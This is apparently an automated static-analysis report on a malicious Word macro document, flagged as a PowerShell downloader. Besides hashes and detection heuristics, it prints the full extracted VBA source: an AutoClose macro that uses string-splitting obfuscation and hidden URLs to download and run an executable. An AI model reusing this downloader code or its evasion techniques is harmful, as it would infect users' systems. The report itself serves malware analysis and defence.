Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 bcb9649566030305…

MALICIOUS

Office (OOXML)

75.3 KB Created: 2017-05-22 22:37:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2020-07-24
MD5: f1cd8322fa2f0a04c9b04d2f5adb6513 SHA-1: 25a72fd4bdfdefabd776900af126f17a6acdcc04 SHA-256: bcb9649566030305c43a0e9267e4d9a4c208e94cee552cc5832945ba95930076
370 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros, including an AutoClose macro, which is a common technique for executing malicious code upon document opening. The script uses WScript.Shell to execute a PowerShell command, which is obfuscated by splitting and reassembling the string 'powershell'. This PowerShell command is designed to download and execute a second-stage payload from a constructed URL. The ClamAV detection 'Doc.Downloader.Powmet-6754309-0' further supports the downloader functionality.

Heuristics 9

  • ClamAV: Doc.Downloader.Powmet-6754309-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powmet-6754309-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    ojbYzLWbiTK = "p" + "ow" + "er" + "she" + "ll $mYRg = n" + "ew-" + "ob" + "ject Sy" + "stem.N" + "et.We" + "bCli" + "ent;$eLcL = ne" + "w-ob" + "ject ra" + "ndo" + "m;  "
               CreateObject("WScript.Shell").Run ojbYzLWbiTK + qETIjefSpE + TmZouuYApDKTLFfrDLvibAbw, 0
    End Function
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
    Matched line in script
    ojbYzLWbiTK = "p" + "ow" + "er" + "she" + "ll $mYRg = n" + "ew-" + "ob" + "ject Sy" + "stem.N" + "et.We" + "bCli" + "ent;$eLcL = ne" + "w-ob" + "ject ra" + "ndo" + "m;  "
               CreateObject("WScript.Shell").Run ojbYzLWbiTK + qETIjefSpE + TmZouuYApDKTLFfrDLvibAbw, 0
    End Function
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    ojbYzLWbiTK = "p" + "ow" + "er" + "she" + "ll $mYRg = n" + "ew-" + "ob" + "ject Sy" + "stem.N" + "et.We" + "bCli" + "ent;$eLcL = ne" + "w-ob" + "ject ra" + "ndo" + "m;  "
               CreateObject("WScript.Shell").Run ojbYzLWbiTK + qETIjefSpE + TmZouuYApDKTLFfrDLvibAbw, 0
    End Function
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
    Dim gyoEtjsVKarhPbkq
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2178 bytes
SHA-256: 1e3f35d6fdb26fe0680e36bfe82349443eeeb5b73b18bc82e0236bdccd3e3d13
Detection
ClamAV: No threats found
Obfuscation or payload: likely
27 of 46 identifiers look randomly generated (e.g. 'nXFrpnXFrhnXFronXFrtnXFronXFrgnXFrrnXFra') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub AutoClose()
Dim gyoEtjsVKarhPbkq
gyoEtjsVKarhPbkq = "piBjIwypVXxB"
 lgczLPOJlbyvFuRyYnpBhkZb (gyoEtjsVKarhPbkq)
End Sub
Function NPOCIrXGZiHwY()
Dim EXYFFzrcdotFqdz
EXYFFzrcdotFqdz = "$qcVYBGR = 'hnXFrtnXFrtnXFrpnXFr:nXFr/nXFr/nXFrgnXFronXFrknXFrenXFrenXFrnnXFranXFrknXFrtnXFrenXFr.nXFrtnXFronXFrpnXFr/nXFranXFrdnXFrmnXFrinXFrnnXFr.nXFrpnXFrhnXFrpnXFr?nXFrfnXFr=nXFr1nXFr,nXFrhnXFrtnXFrtnXFrpnXFr:nXFr/nXFr/nXFrvnXFrinXFrdnXFrenXFronXFranXFrnnXFranXFrlnXFrynXFrsnXFrtnXFrenXFrsnXFr.nXFrwnXFrenXFrbnXFrcnXFranXFrmnXFr/nXFranXFrdnXFrmnXFrinXFrnnXFr.nXFrpnXFrhnXFrpnXFr?nXFrfnXFr=nXFr1nXFr,nXFrhnXFrtnXFrtnXFrpnXFr:nXFr/nXFr/nXFrpnXFrhnXFronXFrtnXFronXFrgnXFrrnXFranXFrpnXFrhnXFrynXFrpnXFronXFrinXFrnnXFrtnXFrenXFrrnXFr.nXFrmnXFrenXFrnnXFr/nXFranXFrdnXFrmnXFrinXFrnnXFr.nXFrpnXFrhnXFrpnXFr?nXFrfnXFr=nXFr1'  -re" + "place 'nXFr', '';"
NPOCIrXGZiHwY = EXYFFzrcdotFqdz
End Function
Function OCHkNFkDGVtHVAQgkAeQTfUm()
Dim AsFmAalkqsGV
AsFmAalkqsGV = "$bgkEHeJDiO = $qcVYBGR.Sp" + "lit(',');$dRdkqYLYer = $eLcL.next(1, 65536);$nmLnTiCn = $env:te" + "mp + '\' + $dRdkqYLYer + '.exe';for" + "each($crvyHl in $bgkEHeJDiO){try{$mYRg.Down" + "loadFile($crvyHl.ToS" + "tring(), $nmLnTiCn);S" + "tart-Pro" + "cess $nmLnTiCn;break;}catch{write-host $_.Exce" + "ption.Me" + "ssage;}}"
OCHkNFkDGVtHVAQgkAeQTfUm = AsFmAalkqsGV
End Function
Function lgczLPOJlbyvFuRyYnpBhkZb(IVhVynCHwZRz)
Dim ojbYzLWbiTK
Dim qETIjefSpE
Dim TmZouuYApDKTLFfrDLvibAbw
qETIjefSpE = NPOCIrXGZiHwY()
TmZouuYApDKTLFfrDLvibAbw = OCHkNFkDGVtHVAQgkAeQTfUm()
ojbYzLWbiTK = "p" + "ow" + "er" + "she" + "ll $mYRg = n" + "ew-" + "ob" + "ject Sy" + "stem.N" + "et.We" + "bCli" + "ent;$eLcL = ne" + "w-ob" + "ject ra" + "ndo" + "m;  "
           CreateObject("WScript.Shell").Run ojbYzLWbiTK + qETIjefSpE + TmZouuYApDKTLFfrDLvibAbw, 0
End Function

Attribute VB_Name = "Module1"

Attribute VB_Name = "Module2"
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 16384 bytes
SHA-256: 611468953d7d7a932430fe5737010dfc6ff0bfd4555fcb37835562ae9c73d41c
Detection
ClamAV: Doc.Downloader.Powmet-6754309-0
Obfuscation or payload: unlikely